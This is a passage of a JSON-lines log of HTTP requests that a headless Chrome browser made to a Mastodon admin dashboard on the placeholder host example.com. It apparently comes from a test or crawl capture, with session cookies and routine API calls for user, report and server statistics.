_session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTc6NDEuNTUyWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--515c8edd63d57984f719eb557fd712aa19e0b5e8; _mastodon_session=xKFaaVprbZyLS%2Fb%2B9b9MYC1B2uCpothR7D8Ho8MaTgbPFUDU%2FiroGd62VKyHQd03eS75qcJRJGUx8f7YdSE1%2BRAlQ2sDw%2FrrWhR26yisAkwyLawt3WlnzoZtP1SClYEtRp%2FpdvHLaiwFd7kPJ0PEFsNCfPVfnCVQBC%2F7tTEsDx3jxH6nw9MrtK1gY0Z8i1X%2FtS6ocHBVh4%2BcYGVHIM1ABtaOSynZsNKdf%2B8H%2BBXQbZoZOH5fzfFCqmP13%2BfuuEmOzEc%2BWO8eDjLxqjgsSdKUcStiO6HfTAlpy8vSD8h8xrSkZXLf2kJTWLO6NCG7LRsR2QzasCcnJQYqBvkz8Hw3EvXSuFAUnF4IsTSqlD7jyEJRcC%2FsZurBMlLBhqVjdGvhYr7DFq2CrtKN--80VJq1cfIgNq7htT--MsBi6tWlRTcXrCQG5cQ6gQ%3D%3D"], "body": "{\"start_at\":\"2026-05-10\",\"end_at\":\"2026-11-10\",\"frequency\":\"month\"}"}
{"method": "POST", "target": "/api/v1/admin/measures", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 68", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: jtTzAJbZaerpNQ2eZxH_QUxjRcmweUvTv9IFII3oJfSPPLeds1XIUg8BoGMZQA8qgG6mYXjR8ELULb03YhwTVA", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/plain, */*", "Content-Type: application/json", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/admin/dashboard", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTc6NDEuNTUyWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--515c8edd63d57984f719eb557fd712aa19e0b5e8; _mastodon_session=xKFaaVprbZyLS%2Fb%2B9b9MYC1B2uCpothR7D8Ho8MaTgbPFUDU%2FiroGd62VKyHQd03eS75qcJRJGUx8f7YdSE1%2BRAlQ2sDw%2FrrWhR26yisAkwyLawt3WlnzoZtP1SClYEtRp%2FpdvHLaiwFd7kPJ0PEFsNCfPVfnCVQBC%2F7tTEsDx3jxH6nw9MrtK1gY0Z8i1X%2FtS6ocHBVh4%2BcYGVHIM1ABtaOSynZsNKdf%2B8H%2BBXQbZoZOH5fzfFCqmP13%2BfuuEmOzEc%2BWO8eDjLxqjgsSdKUcStiO6HfTAlpy8vSD8h8xrSkZXLf2kJTWLO6NCG7LRsR2QzasCcnJQYqBvkz8Hw3EvXSuFAUnF4IsTSqlD7jyEJRcC%2FsZurBMlLBhqVjdGvhYr7DFq2CrtKN--80VJq1cfIgNq7htT--MsBi6tWlRTcXrCQG5cQ6gQ%3D%3D"], "body": "{\"keys\":[\"new_users\"],\"start_at\":\"2026-10-12\",\"end_at\":\"2026-11-10\"}"}
{"method": "POST", "target": "/api/v1/admin/measures", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 71", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: jtTzAJbZaerpNQ2eZxH_QUxjRcmweUvTv9IFII3oJfSPPLeds1XIUg8BoGMZQA8qgG6mYXjR8ELULb03YhwTVA", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/plain, */*", "Content-Type: application/json", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/admin/dashboard", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTc6NDEuNTUyWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--515c8edd63d57984f719eb557fd712aa19e0b5e8; _mastodon_session=xKFaaVprbZyLS%2Fb%2B9b9MYC1B2uCpothR7D8Ho8MaTgbPFUDU%2FiroGd62VKyHQd03eS75qcJRJGUx8f7YdSE1%2BRAlQ2sDw%2FrrWhR26yisAkwyLawt3WlnzoZtP1SClYEtRp%2FpdvHLaiwFd7kPJ0PEFsNCfPVfnCVQBC%2F7tTEsDx3jxH6nw9MrtK1gY0Z8i1X%2FtS6ocHBVh4%2BcYGVHIM1ABtaOSynZsNKdf%2B8H%2BBXQbZoZOH5fzfFCqmP13%2BfuuEmOzEc%2BWO8eDjLxqjgsSdKUcStiO6HfTAlpy8vSD8h8xrSkZXLf2kJTWLO6NCG7LRsR2QzasCcnJQYqBvkz8Hw3EvXSuFAUnF4IsTSqlD7jyEJRcC%2FsZurBMlLBhqVjdGvhYr7DFq2CrtKN--80VJq1cfIgNq7htT--MsBi6tWlRTcXrCQG5cQ6gQ%3D%3D"], "body": "{\"keys\":[\"interactions\"],\"start_at\":\"2026-10-12\",\"end_at\":\"2026-11-10\"}"}
{"method": "POST", "target": "/api/v1/admin/measures", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 71", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: jtTzAJbZaerpNQ2eZxH_QUxjRcmweUvTv9IFII3oJfSPPLeds1XIUg8BoGMZQA8qgG6mYXjR8ELULb03YhwTVA", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/plain, */*", "Content-Type: application/json", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/admin/dashboard", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTc6NDEuNTUyWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--515c8edd63d57984f719eb557fd712aa19e0b5e8; _mastodon_session=xKFaaVprbZyLS%2Fb%2B9b9MYC1B2uCpothR7D8Ho8MaTgbPFUDU%2FiroGd62VKyHQd03eS75qcJRJGUx8f7YdSE1%2BRAlQ2sDw%2FrrWhR26yisAkwyLawt3WlnzoZtP1SClYEtRp%2FpdvHLaiwFd7kPJ0PEFsNCfPVfnCVQBC%2F7tTEsDx3jxH6nw9MrtK1gY0Z8i1X%2FtS6ocHBVh4%2BcYGVHIM1ABtaOSynZsNKdf%2B8H%2BBXQbZoZOH5fzfFCqmP13%2BfuuEmOzEc%2BWO8eDjLxqjgsSdKUcStiO6HfTAlpy8vSD8h8xrSkZXLf2kJTWLO6NCG7LRsR2QzasCcnJQYqBvkz8Hw3EvXSuFAUnF4IsTSqlD7jyEJRcC%2FsZurBMlLBhqVjdGvhYr7DFq2CrtKN--80VJq1cfIgNq7htT--MsBi6tWlRTcXrCQG5cQ6gQ%3D%3D"], "body": "{\"keys\":[\"active_users\"],\"start_at\":\"2026-10-12\",\"end_at\":\"2026-11-10\"}"}
{"method": "POST", "target": "/api/v1/admin/measures", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 75", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: jtTzAJbZaerpNQ2eZxH_QUxjRcmweUvTv9IFII3oJfSPPLeds1XIUg8BoGMZQA8qgG6mYXjR8ELULb03YhwTVA", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/plain, */*", "Content-Type: application/json", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/admin/dashboard", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTc6NDEuNTUyWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--515c8edd63d57984f719eb557fd712aa19e0b5e8; _mastodon_session=xKFaaVprbZyLS%2Fb%2B9b9MYC1B2uCpothR7D8Ho8MaTgbPFUDU%2FiroGd62VKyHQd03eS75qcJRJGUx8f7YdSE1%2BRAlQ2sDw%2FrrWhR26yisAkwyLawt3WlnzoZtP1SClYEtRp%2FpdvHLaiwFd7kPJ0PEFsNCfPVfnCVQBC%2F7tTEsDx3jxH6nw9MrtK1gY0Z8i1X%2FtS6ocHBVh4%2BcYGVHIM1ABtaOSynZsNKdf%2B8H%2BBXQbZoZOH5fzfFCqmP13%2BfuuEmOzEc%2BWO8eDjLxqjgsSdKUcStiO6HfTAlpy8vSD8h8xrSkZXLf2kJTWLO6NCG7LRsR2QzasCcnJQYqBvkz8Hw3EvXSuFAUnF4IsTSqlD7jyEJRcC%2FsZurBMlLBhqVjdGvhYr7DFq2CrtKN--80VJq1cfIgNq7htT--MsBi6tWlRTcXrCQG5cQ6gQ%3D%3D"], "body": "{\"keys\":[\"resolved_reports\"],\"start_at\":\"2026-10-12\",\"end_at\":\"2026-11-10\"}"}
{"method": "POST", "target": "/api/v1/admin/measures", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 73", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: jtTzAJbZaerpNQ2eZxH_QUxjRcmweUvTv9IFII3oJfSPPLeds1XIUg8BoGMZQA8qgG6mYXjR8ELULb03YhwTVA", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/plain, */*", "Content-Type: application/json", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/admin/dashboard", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTc6NDEuNTUyWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--515c8edd63d57984f719eb557fd712aa19e0b5e8; _mastodon_session=xKFaaVprbZyLS%2Fb%2B9b9MYC1B2uCpothR7D8Ho8MaTgbPFUDU%2FiroGd62VKyHQd03eS75qcJRJGUx8f7YdSE1%2BRAlQ2sDw%2FrrWhR26yisAkwyLawt3WlnzoZtP1SClYEtRp%2FpdvHLaiwFd7kPJ0PEFsNCfPVfnCVQBC%2F7tTEsDx3jxH6nw9MrtK1gY0Z8i1X%2FtS6ocHBVh4%2BcYGVHIM1ABtaOSynZsNKdf%2B8H%2BBXQbZoZOH5fzfFCqmP13%2BfuuEmOzEc%2BWO8eDjLxqjgsSdKUcStiO6HfTAlpy8vSD8h8xrSkZXLf2kJTWLO6NCG7LRsR2QzasCcnJQYqBvkz8Hw3EvXSuFAUnF4IsTSqlD7jyEJRcC%2FsZurBMlLBhqVjdGvhYr7DFq2CrtKN--80VJq1cfIgNq7htT--MsBi6tWlRTcXrCQG5cQ6gQ%3D%3D"], "body": "{\"keys\":[\"opened_reports\"],\"start_at\":\"2026-10-12\",\"end_at\":\"2026-11-10\"}"}
{"method": "POST", "target": "/api/v1/admin/dimensions", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 78", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: jtTzAJbZaerpNQ2eZxH_QUxjRcmweUvTv9IFII3oJfSPPLeds1XIUg8BoGMZQA8qgG6mYXjR8ELULb03YhwTVA", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/plain, */*", "Content-Type: application/json", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/admin/dashboard", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTc6NDEuODIyWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--db1e142b0998e82acd3397cee7d0ba51c699d1d1; _mastodon_session=0Rrsf%2BJaiWEQHLTqtATzgOCsPrkU%2FFB08mBuEHl7rb%2BmNRoEvIj3KmZwBI5hdh%2BdgitHRGdgIItTDfgI9nOph7MIvR8LUIISELVn1HaEsfULFuynvFXMkBgNiWR5SP1mqzIyuSO8UZa1JY2SWc%2Bio%2FgyR27RzoL4xzm9BZMR2lv2GhU%2FDjew357EpmrNpQPy5UcHD4zqZYx2DREWHyDVwUozh14UUm3dwrTl4JUZ6zQmwvPaF8BLDbt9o7LIio%2FhE7qHNhnC3GXxLgIEuAKiLRwYuGyOaUKEVraVbAq3Y2QrPeG1ILFjmT8EvFBtn6WSNXocWgdV%2FXY%2FIXql4%2F%2Faj2uzz1IdrEqkVPeSD9NulNb8O0WMy2%2ByKy7ODSX%2BVT1bHPkyRaoxTdjz--1kxhNi%2BFa1C88e8U--ckPUTJ5K%2FmygBBtghacHlQ%3D%3D"], "body": "{\"keys\":[\"languages\"],\"start_at\":\"2026-10-12\",\"end_at\":\"2026-11-10\",\"limit\":8}"}
{"method": "POST", "target": "/api/v1/admin/dimensions", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 86", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: jtTzAJbZaerpNQ2eZxH_QUxjRcmweUvTv9IFII3oJfSPPLeds1XIUg8BoGMZQA8qgG6mYXjR8ELULb03YhwTVA", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/plain, */*", "Content-Type: application/json", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/admin/dashboard", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTc6NDEuODIyWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--db1e142b0998e82acd3397cee7d0ba51c699d1d1; _mastodon_session=0Rrsf%2BJaiWEQHLTqtATzgOCsPrkU%2FFB08mBuEHl7rb%2BmNRoEvIj3KmZwBI5hdh%2BdgitHRGdgIItTDfgI9nOph7MIvR8LUIISELVn1HaEsfULFuynvFXMkBgNiWR5SP1mqzIyuSO8UZa1JY2SWc%2Bio%2FgyR27RzoL4xzm9BZMR2lv2GhU%2FDjew357EpmrNpQPy5UcHD4zqZYx2DREWHyDVwUozh14UUm3dwrTl4JUZ6zQmwvPaF8BLDbt9o7LIio%2FhE7qHNhnC3GXxLgIEuAKiLRwYuGyOaUKEVraVbAq3Y2QrPeG1ILFjmT8EvFBtn6WSNXocWgdV%2FXY%2FIXql4%2F%2Faj2uzz1IdrEqkVPeSD9NulNb8O0WMy2%2ByKy7ODSX%2BVT1bHPkyRaoxTdjz--1kxhNi%2BFa1C88e8U--ckPUTJ5K%2FmygBBtghacHlQ%3D%3D"], "body": "{\"keys\":[\"software_versions\"],\"start_at\":\"2026-10-12\",\"end_at\":\"2026-11-10\",\"limit\":4}"}
{"method": "POST", "target": "/api/v1/admin/dimensions", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 76", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: jtTzAJbZaerpNQ2eZxH_QUxjRcmweUvTv9IFII3oJfSPPLeds1XIUg8BoGMZQA8qgG6mYXjR8ELULb03YhwTVA", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/plain, */*", "Content-Type: application/json", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/admin/dashboard", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTc6NDEuODI0WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--f7ab90a67a6952f7f1d5ad1989bd08086f1f4e0c; _mastodon_session=xANL4MXAL%2B8jQ0MKXWOwjKoLfb0lZ94Re9x2SVWVpW4rw2pruLtjmCVV1OrU6k9%2B4NxPYJ8bUIXimjCsfjonkGp%2FiyrcdmhIHE5tZRtl4eQqgMdvgtYyVgDI7Vf6wthZjj7CpKQDz1E5ZZrMkLk2Lrm6cAnEXpXrE1KETaIcpVyiM9gw%2BD6quNfPe4LbIgctdoywpTXMfoIYUfSDmP1Yv7KgYkfDN1Up%2BbiwIbA4IzqV%2B1ZmNKAgUBEmlwZN3eAxnZaMbUAE5sj9CS%2BlqVXpwHyQFSafw5riq9qZ1cLpmEN7vCJontTSzATqHRTRNFGpYJtQfjCk57Q%2BeHzjq%2FKZbhOPlLJV3uEHyuljODCdYeLM%2F2R4O6nSThC3ymgmzVRJuzgt2FAK0gEa--3PLai5uEMhDyGs1y--M%2BKfCkDjOswV9rNGGrDtYg%3D%3D"], "body": "{\"keys\":[\"servers\"],\"start_at\":\"2026-10-12\",\"end_at\":\"2026-11-10\",\"limit\":8}"}
{"method": "POST", "target": "/api/v1/admin/dimensions", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 80", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: jtTzAJbZaerpNQ2eZxH_QUxjRcmweUvTv9IFII3oJfSPPLeds1XIUg8BoGMZQA8qgG6mYXjR8ELULb03YhwTVA", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/plain, */*", "Content-Type: application/json", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/admin/dashboard", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTc6NDEuODQ5WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--d617689168caea22e03e92d1398023c7898b9e58; _mastodon_session=odmhqgnh0FCLI1UN7llMPXgli3cLDFKN6%2B4d1TgeF7cIKSgYYHV5Awz%2BZSHH8v3L5RdooPuEZvqnEEpLV%2Fg6L2N2XfOjRPxuvDwvuA76BWHq5VIjlo3pJBhwj%2BdOrvGCU0KB06Ruh6e6UAZHjYjimF5V74h1LNTaTwGtIeeWBfj1GUlECX2vFhfdEwCx3a9o7t133UdB0KdW38aNYusGVhLMRdqf3Ka3mwFvJMYS8yd73lAsgJK9t6fEL1mggKzbto4S5tgwhckoHaQd7BKS3S1i90l1DTCGpLH0dqbmgJqEwXTNBb02AEC%2FYR7g%2FfQnn0A%2BJ%2BtoQXCIUskH8K63MwLMUt%2B%2BG0PL0i4phMNIxUDQunywRaTZ9ssQFz%2F2RL4BGpZbv4CWdC7P--rIKTUV7YxDSsfSBV--UaNLAkVX3CzhARhMe4k79w%3D%3D"], "body": "{\"keys\":[\"space_usage\"],\"start_at\":\"2026-10-12\",\"end_at\":\"2026-11-10\",\"limit\":3}"}
{"method": "POST", "target": "/api/v1/admin/dimensions", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 76", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: jtTzAJbZaerpNQ2eZxH_QUxjRcmweUvTv9IFII3oJfSPPLeds1XIUg8BoGMZQA8qgG6mYXjR8ELULb03YhwTVA", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/plain, */*", "Content-Type: application/json", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/admin/dashboard", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTc6NDEuODQ5WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--d617689168caea22e03e92d1398023c7898b9e58; _mastodon_session=odmhqgnh0FCLI1UN7llMPXgli3cLDFKN6%2B4d1TgeF7cIKSgYYHV5Awz%2BZSHH8v3L5RdooPuEZvqnEEpLV%2Fg6L2N2XfOjRPxuvDwvuA76BWHq5VIjlo3pJBhwj%2BdOrvGCU0KB06Ruh6e6UAZHjYjimF5V74h1LNTaTwGtIeeWBfj1GUlECX2vFhfdEwCx3a9o7t133UdB0KdW38aNYusGVhLMRdqf3Ka3mwFvJMYS8yd73lAsgJK9t6fEL1mggKzbto4S5tgwhckoHaQd7BKS3S1i90l1DTCGpLH0dqbmgJqEwXTNBb02AEC%2FYR7g%2FfQnn0A%2BJ%2BtoQXCIUskH8K63MwLMUt%2B%2BG0PL0i4phMNIxUDQunywRaTZ9ssQFz%2F2RL4BGpZbv4CWdC7P--rIKTUV7YxDSsfSBV--UaNLAkVX3CzhARhMe4k79w%3D%3D"], "body": "{\"keys\":[\"sources\"],\"start_at\":\"2026-10-12\",\"end_at\":\"2026-11-10\",\"limit\":8}"}
{"method": "GET", "target": "/admin/reports", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTc6NDEuODA0WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--27c80da356ef9fe99a30374d172fe45f8057676a; _mastodon_session=3de34pjGJPXC81Mg1KttHLEorCNm9pJIAZVGHJii%2BS%2FQjIqFUIVb4cizo4Ha4cLr34tcrWe5YSqMA3UTHS5CTkfeFt4VeMU8xcbpjQIjOIlycOEmbulkfjUi850DLuSaLxZIYy%2F3ezxBwGo0gLZt6jhg7X6cvUaDpOv7RbC%2FYvm%2BpX0pC367xZH3SFeLuG9ss2DLdgvoSugHD5Nz3KOsC0h8WctDxTnA5Cg7l2Ew89jXiz7fPxzobXYBPs0sXaF6BSb7PR%2BKCqEIgDVSWA%2F1yOxlbcgXru3t67WuRMFC41nkwCwBIX2E2GoIFu97Tu5UaEBPI9niiL%2BxnYykw%2FcD7QYz0KMIR5ttr906Srp5KlkfLqysliAlnuup16dWBKe0YD%2F3cHGDztKz--AflNtJYWCNysdlia--2NdptTQdzdrNHVTqUWkzhg%3D%3D"], "body": ""}
{"method": "GET", "target": "/packs/notification_policies-BXXafP0v.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/admin/reports", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTc6NDQuMjIyWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--7cb023017d427dc1a0ef1cfc4ce3e313c70c036e; _mastodon_session=Y9QBr3x0KWiPIvGPr6eqjHpD4t7szofsKq0MY8uVJ0G6QHEIwYr8NYSKa5%2Bnewl5IhFJjGYvX6wmmQJF9vUWtee7dhBnTgT0g8rwVNuz%2BudsO0Zvrr0XTk03RRdvFLJngKwS6x%2B9GS15KAwPzXPaeNzUrImQ2Gihl1wnfWiR4I0Gs02QymthHeuAYWuOXkj%2FhYJMNVuEf2bazoxqDvLdgtKg2s2rf6lA9guVWVB9OgSXaUVND50hIHJ2hrjvVzWWy%2FnaXAlTCTZHH9UYyj9grPqK49CLiOXyyq975nfEmqzbNi0r0edpXCzUFg7JoEgXkG%2FEsluoXrwU9KcembY3KKgk0Fpx8m6%2BtZ%2FWYf1fAycbsQU8%2F%2Bhy%2Be%2Faf1ECr13WrVe5u7IwinHS--lpHju753NjxITozv--Dpt73YoYOqDUSEhLORVgmg%3D%3D"], "body": ""}
